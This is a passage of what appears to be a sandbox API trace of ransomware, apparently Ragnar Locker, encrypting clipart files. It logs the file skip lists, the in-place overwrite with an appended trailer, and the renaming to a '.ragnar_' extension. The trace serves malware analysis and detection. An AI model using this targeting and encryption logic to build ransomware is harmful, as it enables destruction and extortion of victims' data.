GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11540) returned 1 [0083.632] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.632] GetProcessHeap () returned 0x580000 [0083.632] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.632] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.633] VirtualAlloc (lpAddress=0x0, dwSize=0x2d14, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.633] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2d14, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2d14, lpOverlapped=0x0) returned 1 [0083.634] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.634] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d14, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.634] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2d14, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2d14, lpOverlapped=0x0) returned 1 [0083.635] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.635] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.635] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.635] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.635] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.635] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.635] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.635] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.635] GetProcessHeap () returned 0x580000 [0083.635] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.635] CloseHandle (hObject=0xf4) returned 1 [0083.635] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" [0083.635] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.ragnar_FD7BD9FC" [0083.635] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.636] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1 [0083.636] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.636] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105282.WMF" | out: lpString1="J0105282.WMF") returned="J0105282.WMF" [0083.636] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned=".WMF" [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="autorun.inf") returned 1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="boot.ini") returned 1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="bootfont.bin") returned 1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="bootsect.bak") returned 1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="bootmgr") returned 1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="bootmgr.efi") returned 1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="bootmgfw.efi") returned 1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="desktop.ini") returned 1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="iconcache.db") returned 1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="ntldr") returned -1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="ntuser.dat") returned -1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="ntuser.dat.log") returned -1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="ntuser.ini") returned -1 [0083.636] lstrcmpiW (lpString1="J0105282.WMF", lpString2="thumbs.db") returned -1 [0083.637] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.637] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.637] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.637] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.637] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.637] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.637] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 0x20 [0083.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.637] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4796) returned 1 [0083.637] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.637] GetProcessHeap () returned 0x580000 [0083.637] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.637] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.639] VirtualAlloc (lpAddress=0x0, dwSize=0x12bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.639] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x12bc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x12bc, lpOverlapped=0x0) returned 1 [0083.640] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.640] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.640] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x12bc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x12bc, lpOverlapped=0x0) returned 1 [0083.640] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.640] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.641] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.641] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.641] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.641] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.641] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.641] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.641] GetProcessHeap () returned 0x580000 [0083.641] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.641] CloseHandle (hObject=0xf4) returned 1 [0083.641] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" [0083.641] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.ragnar_FD7BD9FC" [0083.641] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.642] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1 [0083.642] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.642] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105286.WMF" | out: lpString1="J0105286.WMF") returned="J0105286.WMF" [0083.642] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned=".WMF" [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="autorun.inf") returned 1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="boot.ini") returned 1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="bootfont.bin") returned 1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="bootsect.bak") returned 1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="bootmgr") returned 1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="bootmgr.efi") returned 1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="bootmgfw.efi") returned 1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="desktop.ini") returned 1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="iconcache.db") returned 1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="ntldr") returned -1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="ntuser.dat") returned -1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="ntuser.dat.log") returned -1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="ntuser.ini") returned -1 [0083.642] lstrcmpiW (lpString1="J0105286.WMF", lpString2="thumbs.db") returned -1 [0083.642] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.642] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.642] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.642] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.642] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.642] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.642] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 0x20 [0083.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.643] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6568) returned 1 [0083.643] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x199f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.643] GetProcessHeap () returned 0x580000 [0083.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.643] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.644] VirtualAlloc (lpAddress=0x0, dwSize=0x19a8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.644] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.645] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.645] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x19a8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x19a8, lpOverlapped=0x0) returned 1 [0083.645] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.645] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.646] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x19a8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x19a8, lpOverlapped=0x0) returned 1 [0083.646] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.646] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.646] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.646] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.646] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.646] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.646] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.646] GetProcessHeap () returned 0x580000 [0083.646] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.646] CloseHandle (hObject=0xf4) returned 1 [0083.647] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" [0083.647] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.ragnar_FD7BD9FC" [0083.647] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.647] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1 [0083.647] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.647] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105288.WMF" | out: lpString1="J0105288.WMF") returned="J0105288.WMF" [0083.647] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned=".WMF" [0083.647] lstrcmpiW (lpString1="J0105288.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.647] lstrcmpiW (lpString1="J0105288.WMF", lpString2="autorun.inf") returned 1 [0083.647] lstrcmpiW (lpString1="J0105288.WMF", lpString2="boot.ini") returned 1 [0083.647] lstrcmpiW (lpString1="J0105288.WMF", lpString2="bootfont.bin") returned 1 [0083.647] lstrcmpiW (lpString1="J0105288.WMF", lpString2="bootsect.bak") returned 1 [0083.647] lstrcmpiW (lpString1="J0105288.WMF", lpString2="bootmgr") returned 1 [0083.647] lstrcmpiW (lpString1="J0105288.WMF", lpString2="bootmgr.efi") returned 1 [0083.647] lstrcmpiW (lpString1="J0105288.WMF", lpString2="bootmgfw.efi") returned 1 [0083.647] lstrcmpiW (lpString1="J0105288.WMF", lpString2="desktop.ini") returned 1 [0083.648] lstrcmpiW (lpString1="J0105288.WMF", lpString2="iconcache.db") returned 1 [0083.648] lstrcmpiW (lpString1="J0105288.WMF", lpString2="ntldr") returned -1 [0083.648] lstrcmpiW (lpString1="J0105288.WMF", lpString2="ntuser.dat") returned -1 [0083.648] lstrcmpiW (lpString1="J0105288.WMF", lpString2="ntuser.dat.log") returned -1 [0083.648] lstrcmpiW (lpString1="J0105288.WMF", lpString2="ntuser.ini") returned -1 [0083.648] lstrcmpiW (lpString1="J0105288.WMF", lpString2="thumbs.db") returned -1 [0083.648] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.648] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.648] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.648] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.648] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.648] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.648] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 0x20 [0083.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.648] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15832) returned 1 [0083.648] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3dcf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.648] GetProcessHeap () returned 0x580000 [0083.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.648] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.652] VirtualAlloc (lpAddress=0x0, dwSize=0x3dd8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.652] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.652] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, 